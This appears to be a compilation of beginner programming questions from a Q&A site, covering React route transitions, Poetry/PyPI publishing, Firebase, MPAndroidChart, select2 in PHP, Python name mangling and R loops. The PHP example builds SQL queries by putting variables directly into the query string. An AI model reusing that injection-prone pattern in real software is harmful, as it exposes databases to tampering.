My question is, how can I modify my code to ensure that only when one transition has completed can the next one start? I am happy to have the listener be disabled for the duration of the transition and only be re-enabled on a set timer (the time taken for the transition to complete  ~ 0.8seconds).

Currently the event is able to fire as soon as the transition occurs, and I am unable to find a solution for it.

live working example below:

https://stackblitz.com/edit/react-ts-w42djd?embed=1&file=Hooks/useAppDirection.js

Body:
I am developing an app where on mouse wheel up and down navigates the user to different routes in the App. I also have animations corresponding to which way the user scrolls: when scrolling down the next route will intialize from below and the previous route will exit from below, and vice-versa.

this part has been simple enough to implement as per the code below(link to full live working example at the bottom of this post):

Custom Hook UseAppDirection.js

import { useState, useEffect, useContext } from "react";
import { useLocation, useNavigate } from "react-router-dom"

function useAppDirection(navDown, navUp, directionValueDown, directionValueUp) {
    const navigate = useNavigate();
    const location = useLocation();
    const { pathname } = location;
    const [isUp, setIsUp] = useState(false);

    useEffect(() => {
        function handleNavigation(e) {
            if (e.deltaY > 1) {
                setIsUp(false)
                setTimeout(() => {
                    navigate(navDown, { state: { value: directionValueDown } });
                }, 200)
            } else if (e.deltaY < 1) {
                setIsUp(true)
                setTimeout(() => {
                    navigate(navUp, { state: { value: directionValueUp } });
                }, 200)
            }
        }
        window.addEventListener("wheel", handleNavigation);

        return () => window.removeEventListener("wheel", handleNavigation);
    }, [pathname]);

    return { location, isUp }
}

export default useAppDirection

AboutMe.js

import React from "react";
import { motion } from "framer-motion";
import useAppDirection from "../Hooks/useAppDirection";

export default function AboutMe() {
    const { isUp, location } = useAppDirection("/work", "/skills", 1000, -1000);

    return (
        <motion.div
            className="aboutme--top"
            initial={{ opacity: 0, y: location.state.value, transition: { duration: 0.8 } }}
            animate={{ opacity: 1, y: 0, transition: { duration: 0.8 } }}
            exit={{ opacity: 0, y:  isUp ? 1300 : -1300, transition: { duration: 0.8 } }}
        >
        </motion.div >
    )
}

However one major problem I have ran into is when a user scrolls one direction and in mid transition scrolls the opposite direction; both animations occur simultaneously resulting in a very ugly and janky transition as two components are simultaneously both leaving and exiting.

My question is, how can I modify my code to ensure that only when one transition has completed can the next one start? I am happy to have the listener be disabled for the duration of the transition and only be re-enabled on a set timer (the time taken for the transition to complete  ~ 0.8seconds).

Currently the event is able to fire as soon as the transition occurs, and I am unable to find a solution for it.

live working example below:

https://stackblitz.com/edit/react-ts-w42djd?embed=1&file=Hooks/useAppDirection.js


问:
What's the ideal process for pushing a poetry python project to GitHub then PyPI for distribution?
I've made a Python project which is using the Poetry directory structure and I built it with poetry build which gives me /dist.

```<code>- test-project
  - poetry.lock
  - pyproject.toml
  - README.md
  - .gitignore
  - .github
    - workflows
      - python-publish.yml
  - dist
    - test_project-0.1.0-py3-none-any.whl
    - test_project-0.1.0.tar.gz
  - test_project
    - __init__.py
    - some_code.py
  - tests
    - __init__.py
</code>```

I have pushed the entire test-project to GitHub. From there I have created an action from GitHub's Upload Python Package actions template that simply automatically pushes my project to PyPI every time I create a new GitHub release. I can pip install my project from PyPI, import my code as a python module, and run everything just fine. What I don't understand is that the source distribution on PyPI somehow looks like this:

```<code>- test_project-0.1.0
  - test_project
    - __init__.py
    - some_code.py
  - PKG-INFO
  - pyproject.toml
  - setup.py
  - README.md
</code>```

setup.py was created automatically which just appears to be a differently formatted copy of pyproject.toml. I'm guessing the GitHub action created this file. The /dist folder with the two build files has disappeared as well.

My confusion is, did I do something wrong such as unnecessarily manually doing poetry build locally to push a build to GitHub which apparently just gets deleted when the project is pushed to PyPI anyways?

What's the point of having pyproject.toml when setup.py is created and I'm guessing used by pip install ...?

Is my general pipeline correct or can it be improved in some way (e.g. follow some industry standard practices I don't know about) so that I can make distribution/installation of my project fool-proof?

Body:
I've made a Python project which is using the Poetry directory structure and I built it with poetry build which gives me /dist.

- test-project
  - poetry.lock
  - pyproject.toml
  - README.md
  - .gitignore
  - .github
    - workflows
      - python-publish.yml
  - dist
    - test_project-0.1.0-py3-none-any.whl
    - test_project-0.1.0.tar.gz
  - test_project
    - __init__.py
    - some_code.py
  - tests
    - __init__.py

I have pushed the entire test-project to GitHub. From there I have created an action from GitHub's Upload Python Package actions template that simply automatically pushes my project to PyPI every time I create a new GitHub release. I can pip install my project from PyPI, import my code as a python module, and run everything just fine. What I don't understand is that the source distribution on PyPI somehow looks like this:

- test_project-0.1.0
  - test_project
    - __init__.py
    - some_code.py
  - PKG-INFO
  - pyproject.toml
  - setup.py
  - README.md

setup.py was created automatically which just appears to be a differently formatted copy of pyproject.toml. I'm guessing the GitHub action created this file. The /dist folder with the two build files has disappeared as well.

My confusion is, did I do something wrong such as unnecessarily manually doing poetry build locally to push a build to GitHub which apparently just gets deleted when the project is pushed to PyPI anyways?

What's the point of having pyproject.toml when setup.py is created and I'm guessing used by pip install ...?

Is my general pipeline correct or can it be improved in some way (e.g. follow some industry standard practices I don't know about) so that I can make distribution/installation of my project fool-proof?


问:
How to retrieve user data from firebase? when we don't know about user name
I'm very new to android development please if any one can help me with my problem.

Here is my firebase database json structure.

```<code>{
  "W10291JhlK32329Fgghk93293Hjg": {
    "mobile": 2390382094,
    "name": "efg"
  },
  "W4H6LWlQNMbKGlt1k8skI1WCoyQ2": {
    "mobile": 123456789,
    "name": "abc"
  }
}
</code>```

I'm trying to retrieve like that:

```<code>FirebaseDatabase ref= FirebaseDatabase.getInstance().getreference("users").
</code>```

Now I don't know how to go further b/c I don't know the username as it is auto generated so can anyone please help me with the exact code.

I want to fetch the mobile no from the firebase. Please if any one can help with the exact code so I can complete my task. I tried various YouTube videos but nothing worked it's continuously showing null pointer exception so please if any one can give me the exact code to fetch mobile no I will be grateful.

What I'm trying to do:
Basically I'm registering user by taking its phone no with otp authentication. Now when the user trying to login his account again I want to check that is the user is already registered by checking its entered phone number whether a user with this phone number exists or not if exists so I will move the user further. I just want to fetch the mobile no of each user so that I can compare each number with the user entered number.

Thanks.

Note: The code should be in java not in kotlin.

Body:
I'm very new to android development please if any one can help me with my problem.

Here is my firebase database json structure.

{
  "W10291JhlK32329Fgghk93293Hjg": {
    "mobile": 2390382094,
    "name": "efg"
  },
  "W4H6LWlQNMbKGlt1k8skI1WCoyQ2": {
    "mobile": 123456789,
    "name": "abc"
  }
}

I'm trying to retrieve like that:

FirebaseDatabase ref= FirebaseDatabase.getInstance().getreference("users").

Now I don't know how to go further b/c I don't know the username as it is auto generated so can anyone please help me with the exact code.

I want to fetch the mobile no from the firebase. Please if any one can help with the exact code so I can complete my task. I tried various YouTube videos but nothing worked it's continuously showing null pointer exception so please if any one can give me the exact code to fetch mobile no I will be grateful.

What I'm trying to do:
Basically I'm registering user by taking its phone no with otp authentication. Now when the user trying to login his account again I want to check that is the user is already registered by checking its entered phone number whether a user with this phone number exists or not if exists so I will move the user further. I just want to fetch the mobile no of each user so that I can compare each number with the user entered number.

Thanks.

Note: The code should be in java not in kotlin.


问:
How To Add Margin to DataSet values on Graph so it wont overlap with the graph in MpChart Android Library
I want to add padding/margin to the data values and icons on MpAndroidChart.Are there any way to do it?

I wan padding or margin. on dataset value and icons

MpChart Example Sample Of MyApp


问:
set table cell value as default value on select2 box on clicking edit button in same row of cell?
This is my main page with h_register data table.

```<code><table id="hreg" class="table table-hover table-bordered align-middle">
    <thead>
        <tr>
            <th scope="col" style="display:none">ID</th>
            <th scope="col">Sr. No.</th>
            <th scope="col">Date</th>
            <th scope="col">Farmer</th>
            <th scope="col">Est. Bags</th>
            <th scope="col">Est. Wt.</th>
            <th scope="col">Actl. Bags</th>
            <th scope="col">Actl. Wt.</th>
            <th scope="col">Status</th>
        </tr>
    </thead>
    <tbody>
        <?php
            $srno = 1;
            $curr_seasonId = $_SESSION['seasonId'];
            $sql = "SELECT * FROM `$currdb`.`hregister` WHERE `season_id` = '$curr_seasonId'";
            $result = mysqli_query($conn, $sql);
            while($row=mysqli_fetch_assoc($result)){
                echo "<tr>
                <td style='display:none'>".$row['id']."</td>
                <td>".$srno."</td>
                <td>".$row["date"]."</td>
                <td>".$row["farmer"]."</td>
                <td>".$row["est_bags"]."</td>
                <td>".(($row["est_bags"]*$row["kgs_bag"])/100)."</td>
                <td>".$row["actual_bags"]."</td>
                <td>".(($row["actual_bags"]*$row["kgs_bag"])/100)."</td>
                <td>".$row["actual_bags"]."</td>
                <td><button class='edit btn  btn-sm btn-primary' style='float: left;' id=" . $row['id'] . "> Edit</button>
                    <form action='' style='float: left;' class='ms-1' method='post'>
                    <input type='hidden' name='delete' value='" . $row['id'] . "' />
                    <button type='submit' ms-1 class='btn btn-sm btn-danger' id='" . $row['id'] . "' >Delete</button></form></td>
                </tr>";
                $srno++;
            }
            ?>
    </tbody>
</table>
</code>```

code for edit data modal

```<code><div class="modal fade" id="edithreg" tabindex="-1" role="dialog" aria-labelledby="modalTitleId" aria-hidden="true">
    <div class="modal-dialog modal-dialog-scrollable modal-dialog-centered modal-md" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="modalTitleId">Edit Heap Entry</h5>
                <button type="button" class="btn-cl>ose" data-bs-dismiss="modal" aria-label="Close"</button>
            </div>
            <div class="modal-body">
                <form action="#" method="POST">
                    <label for="date_edit" class="form-label">Date</label>
                    <input type="text" class="form-control " id="date_edit" name="date_edit">
                    <script>
                    $(function() {
                        $('input[name="hdate"]').daterangepicker({
                            singleDatePicker: true,
                            showDropdowns: true,
                            minYear: 1901,
                            autoApply: true,
                            locale: {
                                format: 'YYYY-MM-DD'
                            }

                        })
                    });
                    </script>
                    <label for="farmer_name" class="form-label">Farmer</label>
                    <select class="form-select select2" aria-label="Default select example" id="farmer_name"
                        name="farmer_name" style="width: 100%" required>
                        <option value="" selected desabled>Select one</option>
                        <?php
                                        $sql = "SELECT * FROM `$currdb`.`farmers`";
                                        $result = mysqli_query($conn, $sql);

                                         while ($row = mysqli_fetch_assoc($result)) {
                                                    echo'<option value="'.$row['name'].':'.$row['id'].'">'.$row['name'].'</option>';
                                                }
                                            ?>
                    </select>
                    <label for="est_bags" class="form-label">Est. Bags</label>
                    <input type="text" class="form-control" name="est_bags" id="est_bags" aria-describedby="helpId"
                        placeholder="">
                    <label for="actl_bags" class="form-label">Actl. Bags</label>
                    <input type="text" class="form-control" name="actl_bags" id="actl_bags" aria-describedby="helpId"
                        placeholder="">
                </form>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                <button type="button" class="btn btn-primary">Save</button>
            </div>
        </div>
    </div>
</div>
</code>```

script to trigger modal with values from table row which is being edited.

```<code><script type="text/javascript">
edits = document.getElementsByClassName('edit')
Array.from(edits).forEach((element) => {
    element.addEventListener("click", (e) => {
        tr = e.target.parentNode.parentNode;
        id_h = tr.getElementsByTagName("td")[0].innerText
        date_h = tr.getElementsByTagName("td")[2].innerText
        farmer_h = tr.getElementsByTagName("td")[3].innerText
        estbag_h = tr.getElementsByTagName("td")[4].innerText
        actbag_h = tr.getElementsByTagName("td")[6].innerText

        date_edit.value = date_h;
        farmer_name.value = farmer_h;
        est_bags.value = estbag_h;
        actl_bags.value = actbag_h;

        $('#edithreg').modal('toggle');
        $('#edithreg .select2').select2({
            // placeholder: farmer_h,
            // data:data,
                width: 'resolve',
            dropdownParent: $('#edithreg')
}).defaults.select2(farmer_h);
    })
})

$(document).ready(function() {
    $('.repeater').repeater({
        initEmpty: false, // it also could be true
        show: function() {
            $(this).slideDown(function() {
                $(this).find('.select2').select2({
                    placeholder: 'Select an option'
                });
            });
        },

        hide: function(deleteElement) {
            $(this).slideUp(deleteElement);
        },

        ready: function(setIndexes) {
            // $('.select2').select2({
            //     placeholder: 'Select an option'
            // });
            $('#edithreg .select2').select2({
                width: 'resolve',
            dropdownParent: $('#edithreg')
});
        },
        isFirstItemUndeletable: false
    })
});
</script>
</code>```

h_register data table output

edit data modal output

i am using select2 as select box.

My question is how can i set Farmer sell value (farmer name) to default select2 selected value?
For example: when someone click on edit button in 1st row, the farmer name :ANGREJ SINGH | KARAM SINGH | HAKAM SINGH should be selected by default in edit data modal instead of Select One.

as i am new to coding please explain with example. Thank you.

Body:
This is my main page with h_register data table.

            ID
            Sr. No.
            Date
            Farmer
            Est. Bags
            Est. Wt.
            Actl. Bags
            Actl. Wt.
            Status

        <?php
            $srno = 1;
            $curr_seasonId = $_SESSION['seasonId'];
            $sql = "SELECT * FROM `$currdb`.`hregister` WHERE `season_id` = '$curr_seasonId'";
            $result = mysqli_query($conn, $sql);
            while($row=mysqli_fetch_assoc($result)){
                echo "

                ".$row['id']."
                ".$srno."
                ".$row["date"]."
                ".$row["farmer"]."
                ".$row["est_bags"]."
                ".(($row["est_bags"]*$row["kgs_bag"])/100)."
                ".$row["actual_bags"]."
                ".(($row["actual_bags"]*$row["kgs_bag"])/100)."
                ".$row["actual_bags"]."
                <button class='edit btn  btn-sm btn-primary' style='float: left;' id=" . $row['id'] . "> Edit</button>
                    <form action='' style='float: left;' class='ms-1' method='post'>
                    <input type='hidden' name='delete' value='" . $row['id'] . "' />
                    <button type='submit' ms-1 class='btn btn-sm btn-danger' id='" . $row['id'] . "' >Delete</button></form>

";
                $srno++;
            }
            ?>

code for edit data modal

Edit Heap Entry

                <button type="button" class="btn-cl>ose" data-bs-dismiss="modal" aria-label="Close"</button>

                <form action="#" method="POST">
                    Date
                    <input type="text" class="form-control " id="date_edit" name="date_edit">

                    Farmer
                    <select class="form-select select2" aria-label="Default select example" id="farmer_name"
                        name="farmer_name" style="width: 100%" required>
                        <option value="" selected desabled>Select one</option>
                        <?php
                                        $sql = "SELECT * FROM `$currdb`.`farmers`";
                                        $result = mysqli_query($conn, $sql);

                                         while ($row = mysqli_fetch_assoc($result)) {
                                                    echo'<option value="'.$row['name'].':'.$row['id'].'">'.$row['name'].'</option>';
                                                }
                                            ?>
                    </select>
                    Est. Bags
                    <input type="text" class="form-control" name="est_bags" id="est_bags" aria-describedby="helpId"
                        placeholder="">
                    Actl. Bags
                    <input type="text" class="form-control" name="actl_bags" id="actl_bags" aria-describedby="helpId"
                        placeholder="">
                </form>

                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                <button type="button" class="btn btn-primary">Save</button>

script to trigger modal with values from table row which is being edited.

h_register data table output

edit data modal output

i am using select2 as select box.

My question is how can i set Farmer sell value (farmer name) to default select2 selected value?
For example: when someone click on edit button in 1st row, the farmer name :ANGREJ SINGH | KARAM SINGH | HAKAM SINGH should be selected by default in edit data modal instead of Select One.

as i am new to coding please explain with example. Thank you.


问:
Object has no attribute error when I name attribute with double underscores
I am trying to group all Patient objects by their surnames.

My code:

```<code>class Patient:
    def __init__(self, first_name, surname, age, mobile, postcode):
        self.__first_name = first_name
        self.__surname = surname
        self.__doctor = "None"
        self.__age = age
        self.__mobile = mobile
        self.__postcode = postcode
        self.__symptoms = ""

    def full_name(self) :
        return "{} {}".format(self.__first_name, self.__surname)

    def __str__(self):
        return f'{self.full_name():^20}|{self.__doctor:^6}|{self.__age:^4}|{self.__mobile:^15}|{self.__postcode:^10}'

patients = [Patient('Sara','Cath', 20, '07012345678','B1 234'),
            Patient('Mike','Abe', 37,'07555551234','L2 2AB'),
            Patient('Daivd','Barr', 15, '07123456789','C1 ABC'),
            Patient('Gerald','Abe', 21, '07012345678','L2 2AB'),
            Patient('Sara','Abe', 19, '07012345678','L2 2AB'),
            Patient('Jane','Barr', 35, '07123456789','C1 ABC')]

patients.sort(key=lambda y: y.__surname)
print(patients[0])
print(patients[1])
print(patients[2])
print(patients[3])
print(patients[4])
print(patients[5])
print()
newPat = sorted(patients, key=lambda y: y.__surname)
print(newPat[0])
print(newPat[1])
print(newPat[2])
print(newPat[3])
print(newPat[4])
print(newPat[5])
</code>```

My code has the surname attribute self.__surname = surname in the __init__ function, the full_name function and in both sorting functions, but when I try to run it gives me the AttributeError: 'Patient' object has no attribute '__surname'

Error:

```<code>File "c:\users\mundane\downloads\pythonfiles\files\untitled0.py", line 25, in <lambda>
    patients.sort(key=lambda y: y.__surname)

AttributeError: 'Patient' object has no attribute '__surname'
</code>```

If I replace each of the four .__surname with literally anything else - like .xyzsurname - it works and correctly prints:

```<code>      Mike Abe      | None | 37 |  07555551234  |  L2 2AB
     Gerald Abe     | None | 21 |  07012345678  |  L2 2AB
      Sara Abe      | None | 19 |  07012345678  |  L2 2AB
     Daivd Barr     | None | 15 |  07123456789  |  C1 ABC
     Jane Barr      | None | 35 |  07123456789  |  C1 ABC
     Sara Cath      | None | 20 |  07012345678  |  B1 234

      Mike Abe      | None | 37 |  07555551234  |  L2 2AB
     Gerald Abe     | None | 21 |  07012345678  |  L2 2AB
      Sara Abe      | None | 19 |  07012345678  |  L2 2AB
     Daivd Barr     | None | 15 |  07123456789  |  C1 ABC
     Jane Barr      | None | 35 |  07123456789  |  C1 ABC
     Sara Cath      | None | 20 |  07012345678  |  B1 234
</code>```

Is there anyway for me to keep the double underscore for the attribute by using another way to order a list of objects?

Body:
I am trying to group all Patient objects by their surnames.

My code:

class Patient:
    def __init__(self, first_name, surname, age, mobile, postcode):
        self.__first_name = first_name
        self.__surname = surname
        self.__doctor = "None"
        self.__age = age
        self.__mobile = mobile
        self.__postcode = postcode
        self.__symptoms = ""

    def full_name(self) :
        return "{} {}".format(self.__first_name, self.__surname)

    def __str__(self):
        return f'{self.full_name():^20}|{self.__doctor:^6}|{self.__age:^4}|{self.__mobile:^15}|{self.__postcode:^10}'

patients = [Patient('Sara','Cath', 20, '07012345678','B1 234'),
            Patient('Mike','Abe', 37,'07555551234','L2 2AB'),
            Patient('Daivd','Barr', 15, '07123456789','C1 ABC'),
            Patient('Gerald','Abe', 21, '07012345678','L2 2AB'),
            Patient('Sara','Abe', 19, '07012345678','L2 2AB'),
            Patient('Jane','Barr', 35, '07123456789','C1 ABC')]

patients.sort(key=lambda y: y.__surname)
print(patients[0])
print(patients[1])
print(patients[2])
print(patients[3])
print(patients[4])
print(patients[5])
print()
newPat = sorted(patients, key=lambda y: y.__surname)
print(newPat[0])
print(newPat[1])
print(newPat[2])
print(newPat[3])
print(newPat[4])
print(newPat[5])

My code has the surname attribute self.__surname = surname in the __init__ function, the full_name function and in both sorting functions, but when I try to run it gives me the AttributeError: 'Patient' object has no attribute '__surname'

Error:

File "c:\users\mundane\downloads\pythonfiles\files\untitled0.py", line 25, in <lambda>
    patients.sort(key=lambda y: y.__surname)

AttributeError: 'Patient' object has no attribute '__surname'

If I replace each of the four .__surname with literally anything else - like .xyzsurname - it works and correctly prints:

      Mike Abe      | None | 37 |  07555551234  |  L2 2AB
     Gerald Abe     | None | 21 |  07012345678  |  L2 2AB
      Sara Abe      | None | 19 |  07012345678  |  L2 2AB
     Daivd Barr     | None | 15 |  07123456789  |  C1 ABC
     Jane Barr      | None | 35 |  07123456789  |  C1 ABC
     Sara Cath      | None | 20 |  07012345678  |  B1 234

      Mike Abe      | None | 37 |  07555551234  |  L2 2AB
     Gerald Abe     | None | 21 |  07012345678  |  L2 2AB
      Sara Abe      | None | 19 |  07012345678  |  L2 2AB
     Daivd Barr     | None | 15 |  07123456789  |  C1 ABC
     Jane Barr      | None | 35 |  07123456789  |  C1 ABC
     Sara Cath      | None | 20 |  07012345678  |  B1 234

Is there anyway for me to keep the double underscore for the attribute by using another way to order a list of objects?


问:
Creating a vector of colors inside a loop in R
I want to create a script to automatically plot very Hclust plots. The problem I am facing is that, I able to create a vector and assign values in-side a loop but not able to setnames() to the vec.

For e.g.

```<code>col_metadata <- paste0("col_lis",1:ncol(metadata))
#> "col_lis1" "col_lis2" "col_lis3"
</code>```
```<code>for (i in seq_len(ncol(metadata))){
    m <- length(levels(metadata[,i]))
    assign(paste0("col_lis",i),brewer.pal(n=m,sets[i]))
    names()
    #paste0("col_lis",i) <- setNames(names(eval(parse(text=paste0("col_lis",i)))),nm =  c("sdf","dsfd","dfsf"))
  }
</code>```

I am not able to set names inside the loop but I am able to assign values to the vector col_lis1.

Is there any other way to do this.

Body:
I want to create a script to automatically plot very Hclust plots. The problem I am facing is that, I able to create a vector and assign values in-side a loop but not able to setnames() to the vec.

For e.g.

col_metadata <- paste0("col_lis",1:ncol(metadata))
#> "col_lis1" "col_lis2" "col_lis3"

for (i in seq_len(ncol(metadata))){
    m <- length(levels(metadata[,i]))
    assign(paste0("col_lis",i),brewer.pal(n=m,sets[i]))
    names()
    #paste0("col_lis",i) <- setNames(names(eval(parse(text=paste0("col_lis",i)))),nm =  c("sdf","dsfd","dfsf"))
  }

I am not able to set names inside the loop but I am able to assign values to the vector col_lis1.

Is there any other way to do this.